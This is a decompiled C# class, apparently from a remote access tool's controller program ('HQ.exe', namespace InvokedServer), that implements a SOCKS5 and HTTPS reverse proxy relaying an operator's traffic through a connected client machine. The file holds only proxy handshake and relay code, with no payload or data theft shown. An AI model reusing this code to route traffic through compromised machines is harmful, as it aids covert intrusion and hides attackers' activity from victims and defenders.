﻿// Decompiled with JetBrains decompiler
// Type: InvokedServer.ReverseProxy.ReverseProxyClient
// Assembly: HQ, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C53BC0E5-A85B-41E9-8105-FC74ED122A9A
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\HQ.exe

using InvokedCommon.Messages.ReverseProxy;
using InvokedServer.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Text;


namespace InvokedServer.ReverseProxy
{
	public class ReverseProxyClient
	{
		public const int SOCKS5_DEFAULT_PORT = 3218;
		public const byte SOCKS5_VERSION_NUMBER = 5;
		public const byte SOCKS5_RESERVED = 0;
		public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2;
		public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0;
		public const byte SOCKS5_AUTH_METHOD_GSSAPI = 1;
		public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 2;
		public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 3;
		public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 127;
		public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 128;
		public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 254;
		public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 255;
		public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0;
		public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 1;
		public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 2;
		public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 3;
		public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 4;
		public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 5;
		public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 6;
		public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 7;
		public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8;
		public const byte SOCKS5_ADDRTYPE_IPV4 = 1;
		public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 3;
		public const byte SOCKS5_ADDRTYPE_IPV6 = 4;
		public const int BUFFER_SIZE = 8192;
		private bool _receivedConnResponse;
		private MemoryStream _handshakeStream;
		private byte[] _buffer;
		private bool _isBindCommand;
		private bool _isUdpCommand;
		private bool _isConnectCommand;
		private bool _isIpType;
		private bool _isIPv6NameType;
		private bool _isDomainNameType;
		private bool _disconnectIsSend;
		private ReverseProxyServer Server;

		public Socket Handle { get; private set; }

		public Client Client { get; private set; }

		public long PacketsReceived { get; private set; }

		public long PacketsSended { get; private set; }

		public long LengthReceived { get; private set; }

		public long LengthSent { get; private set; }

		public int ConnectionId => this.Handle.Handle.ToInt32();

		public string TargetServer { get; private set; }

		public ushort TargetPort { get; private set; }

		public bool IsConnected { get; private set; }

		public ReverseProxyClient.ProxyType Type { get; private set; }

		public string HostName { get; private set; }

		public bool ProxySuccessful { get; private set; }

		public ReverseProxyClient(Client client, Socket socket, ReverseProxyServer server)
		{
			this.Handle = socket;
			this.Client = client;
			this._handshakeStream = new MemoryStream();
			this._buffer = new byte[8192];
			this.IsConnected = true;
			this.TargetServer = "";
			this.Type = ReverseProxyClient.ProxyType.Unknown;
			this.Server = server;
			try
			{
				socket.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceive), (object)null);
			}
			catch
			{
				this.Disconnect();
			}
		}

		private void AsyncReceive(IAsyncResult ar)
		{
			try
			{
				int count = this.Handle.EndReceive(ar);
				if (count <= 0)
				{
					this.Disconnect();
					return;
				}
				if (count > 5000 || this._handshakeStream.Length + (long)count > 5000L)
				{
					this.Disconnect();
					return;
				}
				this.LengthReceived += (long)count;
				this._handshakeStream.Write(this._buffer, 0, count);
			}
			catch
			{
				this.Disconnect();
				return;
			}
			byte[] array = this._handshakeStream.ToArray();
			switch (this.PacketsReceived)
			{
				case 0:
					if (array.Length >= 3)
					{
						string str1 = Encoding.ASCII.GetString(array);
						if (array[0] == (byte)5)
							this.Type = ReverseProxyClient.ProxyType.SOCKS5;
						else if (str1.StartsWith("CONNECT") && str1.Contains(":"))
						{
							this.Type = ReverseProxyClient.ProxyType.HTTPS;
							using (StreamReader streamReader = new StreamReader((Stream)new MemoryStream(array)))
							{
								string str2 = streamReader.ReadLine();
								if (str2 != null)
								{
									string[] strArray = str2.Split(new string[1]
									{
					" "
									}, StringSplitOptions.RemoveEmptyEntries);
									if (strArray.Length != 0)
									{
										try
										{
											string str3 = strArray[1];
											this.TargetServer = str3.Split(':')[0];
											this.TargetPort = ushort.Parse(str3.Split(':')[1]);
											this._isConnectCommand = true;
											this._isDomainNameType = true;
											this.Client.Send<ReverseProxyConnect>(new ReverseProxyConnect()
											{
												ConnectionId = this.ConnectionId,
												Target = this.TargetServer,
												Port = (int)this.TargetPort
											});
											this.Server.CallonConnectionEstablished(this);
											return;
										}
										catch
										{
											this.Disconnect();
										}
									}
								}
								else
									break;
							}
						}
						else
							break;
						if (this.CheckProxyVersion(array))
						{
							this.SendSuccessToClient();
							++this.PacketsReceived;
							this._handshakeStream.SetLength(0L);
							this.Server.CallonConnectionEstablished(this);
							break;
						}
						break;
					}
					break;
				case 1:
					int num = 6;
					if (array.Length >= num)
					{
						if (!this.CheckProxyVersion(array))
							return;
						this._isConnectCommand = array[1] == (byte)1;
						this._isBindCommand = array[1] == (byte)2;
						this._isUdpCommand = array[1] == (byte)3;
						this._isIpType = array[3] == (byte)1;
						this._isDomainNameType = array[3] == (byte)3;
						this._isIPv6NameType = array[3] == (byte)4;
						Array.Reverse((Array)array, array.Length - 2, 2);
						this.TargetPort = BitConverter.ToUInt16(array, array.Length - 2);
						if (this._isConnectCommand)
						{
							if (this._isIpType)
								this.TargetServer = array[4].ToString() + "." + array[5].ToString() + "." + array[6].ToString() + "." + array[7].ToString();
							else if (this._isDomainNameType)
							{
								int count = (int)array[4];
								if (num + count < array.Length)
									this.TargetServer = Encoding.ASCII.GetString(array, 5, count);
							}
							if (this.TargetServer.Length > 0)
								this.Client.Send<ReverseProxyConnect>(new ReverseProxyConnect()
								{
									ConnectionId = this.ConnectionId,
									Target = this.TargetServer,
									Port = (int)this.TargetPort
								});
							this.Server.CallonUpdateConnection(this);
							return;
						}
						this.SendFailToClient();
						return;
					}
					break;
			}
			try
			{
				this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceive), (object)null);
			}
			catch
			{
				this.Disconnect();
			}
		}

		public void Disconnect()
		{
			if (!this._disconnectIsSend)
			{
				this._disconnectIsSend = true;
				this.Client.Send<ReverseProxyDisconnect>(new ReverseProxyDisconnect()
				{
					ConnectionId = this.ConnectionId
				});
			}
			try
			{
				this.Handle.Close();
			}
			catch
			{
			}
			this.IsConnected = false;
			this.Server.CallonUpdateConnection(this);
		}

		public void SendToClient(byte[] payload)
		{
			lock (this.Handle)
			{
				try
				{
					this.LengthSent += (long)payload.Length;
					this.Handle.Send(payload);
				}
				catch
				{
					this.Disconnect();
				}
			}
			this.Server.CallonUpdateConnection(this);
		}

		private void SendFailToClient()
		{
			if (this.Type == ReverseProxyClient.ProxyType.HTTPS)
				this.Disconnect();
			if (this.Type != ReverseProxyClient.ProxyType.SOCKS5)
				return;
			this.SendToClient(new byte[2]
			{
		(byte) 5,
		byte.MaxValue
			});
			this.Disconnect();
		}

		private void SendSuccessToClient()
		{
			if (this.Type != ReverseProxyClient.ProxyType.SOCKS5)
				return;
			this.SendToClient(new byte[2] { (byte)5, (byte)0 });
		}

		private bool CheckProxyVersion(byte[] payload)
		{
			if (this.Type == ReverseProxyClient.ProxyType.HTTPS || payload.Length == 0 || payload[0] == (byte)5)
				return true;
			this.SendFailToClient();
			this.Disconnect();
			return false;
		}

		public void HandleCommandResponse(ReverseProxyConnectResponse response)
		{
			if (this._receivedConnResponse)
				return;
			this._receivedConnResponse = true;
			if (response.IsConnected)
			{
				this.HostName = response.HostName;
				if (this.Type == ReverseProxyClient.ProxyType.HTTPS)
					this.SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n"));
				else if (this.Type == ReverseProxyClient.ProxyType.SOCKS5)
				{
					try
					{
						List<byte> byteList = new List<byte>();
						byteList.Add((byte)5);
						byteList.Add((byte)0);
						byteList.Add((byte)0);
						byteList.Add((byte)1);
						byteList.AddRange((IEnumerable<byte>)response.LocalAddress);
						byteList.Add((byte)Math.Floor((Decimal)response.LocalPort / 256M));
						byteList.Add((byte)(response.LocalPort % 256));
						this.SendToClient(byteList.ToArray());
					}
					catch
					{
						byte[] payload = new byte[10];
						payload[0] = (byte)5;
						payload[3] = (byte)1;
						this.SendToClient(payload);
					}
				}
				this._handshakeStream.Close();
				this.ProxySuccessful = true;
				try
				{
					this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceiveProxy), (object)null);
				}
				catch
				{
					this.Disconnect();
				}
			}
			else if (this.Type == ReverseProxyClient.ProxyType.HTTPS)
				this.Disconnect();
			else if (this.Type == ReverseProxyClient.ProxyType.SOCKS5)
				this.SendToClient(new byte[10]
				{
		  (byte) 5,
		  (byte) 5,
		  (byte) 0,
		  (byte) 1,
		  (byte) 0,
		  (byte) 0,
		  (byte) 0,
		  (byte) 0,
		  (byte) 0,
		  (byte) 0
				});
			this.Server.CallonUpdateConnection(this);
		}

		private void AsyncReceiveProxy(IAsyncResult ar)
		{
			try
			{
				int length = this.Handle.EndReceive(ar);
				if (length <= 0)
				{
					this.Disconnect();
					return;
				}
				this.LengthReceived += (long)length;
				byte[] destinationArray = new byte[length];
				Array.Copy((Array)this._buffer, (Array)destinationArray, length);
				this.Client.Send<ReverseProxyData>(new ReverseProxyData()
				{
					ConnectionId = this.ConnectionId,
					Data = destinationArray
				});
				this.LengthSent += (long)destinationArray.Length;
				++this.PacketsSended;
			}
			catch
			{
				this.Disconnect();
				return;
			}
			++this.PacketsReceived;
			this.Server.CallonUpdateConnection(this);
			try
			{
				this.Handle.BeginReceive(this._buffer, 0, this._buffer.Length, SocketFlags.None, new AsyncCallback(this.AsyncReceiveProxy), (object)null);
			}
			catch
			{
			}
		}

		public enum ProxyType
		{
			Unknown,
			SOCKS5,
			HTTPS,
		}
	}
}
